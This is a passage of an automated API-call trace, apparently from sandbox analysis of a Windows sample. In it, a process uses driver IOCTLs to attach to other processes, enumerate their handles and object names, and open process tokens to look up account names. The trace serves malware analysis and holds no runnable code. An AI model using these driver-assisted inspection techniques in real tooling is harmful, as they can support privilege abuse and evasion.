HandleInformation=0x0) returned 0x0 [0095.262] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.262] PsReleaseProcessExitSynchronization () returned 0x2 [0095.262] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0095.262] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.262] ObfDereferenceObject (Object=0xfffffa80021662c0) returned 0x1 [0095.262] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.262] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.262] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.262] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0095.262] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.262] PsAcquireProcessExitSynchronization () returned 0x0 [0095.262] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0095.262] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022c2840, HandleInformation=0x0) returned 0x0 [0095.263] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.263] PsReleaseProcessExitSynchronization () returned 0x2 [0095.263] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0095.263] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.263] ObfDereferenceObject (Object=0xfffffa80022c2840) returned 0x1 [0095.263] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.263] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.263] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0095.263] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.263] PsAcquireProcessExitSynchronization () returned 0x0 [0095.263] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0095.263] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0095.263] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.263] PsReleaseProcessExitSynchronization () returned 0x2 [0095.263] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0095.263] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.263] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0095.263] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.263] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.263] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.263] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.263] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.263] PsAcquireProcessExitSynchronization () returned 0x0 [0095.263] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0095.263] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.263] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.263] PsReleaseProcessExitSynchronization () returned 0x2 [0095.263] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0095.263] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.263] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.263] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.264] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.264] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.264] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.264] PsAcquireProcessExitSynchronization () returned 0x0 [0095.264] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0095.264] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.264] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.264] PsReleaseProcessExitSynchronization () returned 0x2 [0095.264] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0095.264] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.264] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.264] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.264] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.264] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0095.264] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.264] PsAcquireProcessExitSynchronization () returned 0x0 [0095.264] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0095.264] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022d2a60, HandleInformation=0x0) returned 0x0 [0095.264] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.264] PsReleaseProcessExitSynchronization () returned 0x2 [0095.264] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0095.264] ObQueryNameString (in: Object=0xfffffa80022d2a60, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.264] ObfDereferenceObject (Object=0xfffffa80022d2a60) returned 0x1 [0095.264] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.264] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.264] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.264] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0095.264] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.264] PsAcquireProcessExitSynchronization () returned 0x0 [0095.264] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880052335d0) [0095.265] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80023145e0, HandleInformation=0x0) returned 0x0 [0095.265] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.265] PsReleaseProcessExitSynchronization () returned 0x2 [0095.265] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0095.265] ObQueryNameString (in: Object=0xfffffa80023145e0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.265] ObfDereferenceObject (Object=0xfffffa80023145e0) returned 0x2 [0095.265] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.265] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.265] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbec) returned 0xc0 [0095.265] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.265] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80023109d0, HandleInformation=0x0) returned 0x0 [0095.265] ObOpenObjectByPointer (in: Object=0xfffffa80023109d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.265] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0095.265] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.265] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.265] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.265] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.265] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.671] CloseHandle (hObject=0xc8) returned 1 [0095.671] CloseHandle (hObject=0xc0) returned 1 [0095.671] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.671] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.671] PsAcquireProcessExitSynchronization () returned 0x0 [0095.671] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0) [0095.671] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002359770, HandleInformation=0x0) returned 0x0 [0095.671] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.671] PsReleaseProcessExitSynchronization () returned 0x2 [0095.671] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0095.671] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0095.671] ObfDereferenceObject (Object=0xfffffa8002359770) returned 0x1 [0095.671] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.671] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.671] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0095.671] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.671] PsAcquireProcessExitSynchronization () returned 0x0 [0095.671] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0) [0095.671] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80023184d0, HandleInformation=0x0) returned 0x0 [0095.671] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.671] PsReleaseProcessExitSynchronization () returned 0x2 [0095.671] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0095.672] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.672] ObfDereferenceObject (Object=0xfffffa80023184d0) returned 0x1 [0095.672] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.672] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.672] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0095.672] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.672] PsAcquireProcessExitSynchronization () returned 0x0 [0095.672] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0) [0095.672] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0095.672] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.672] PsReleaseProcessExitSynchronization () returned 0x2 [0095.672] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0095.672] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.672] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0095.672] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.672] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.672] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.672] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.672] PsAcquireProcessExitSynchronization () returned 0x0 [0095.672] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0) [0095.672] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.672] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.672] PsReleaseProcessExitSynchronization () returned 0x2 [0095.672] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0095.672] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0095.672] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.672] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.672] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.672] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.672] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.672] PsAcquireProcessExitSynchronization () returned 0x0 [0095.672] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0) [0095.673] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.673] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.673] PsReleaseProcessExitSynchronization () returned 0x2 [0095.673] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0095.673] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.673] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.673] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.673] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.673] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0095.673] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.673] PsAcquireProcessExitSynchronization () returned 0x0 [0095.673] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880052335d0) [0095.673] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002310680, HandleInformation=0x0) returned 0x0 [0095.673] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.673] PsReleaseProcessExitSynchronization () returned 0x2 [0095.673] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0095.673] ObQueryNameString (in: Object=0xfffffa8002310680, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0095.673] ObfDereferenceObject (Object=0xfffffa8002310680) returned 0x1 [0095.673] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.673] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.673] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x328) returned 0xc0 [0095.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.673] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001fdf060, HandleInformation=0x0) returned 0x0 [0095.673] ObOpenObjectByPointer (in: Object=0xfffffa8001fdf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.673] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x3b [0095.673] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.673] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.673] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.674] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.674] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.675] CloseHandle (hObject=0xc8) returned 1 [0095.675] CloseHandle (hObject=0xc0) returned 1 [0095.675] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.675] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.675] PsAcquireProcessExitSynchronization () returned 0x0 [0095.675] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880052335d0) [0095.675] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: 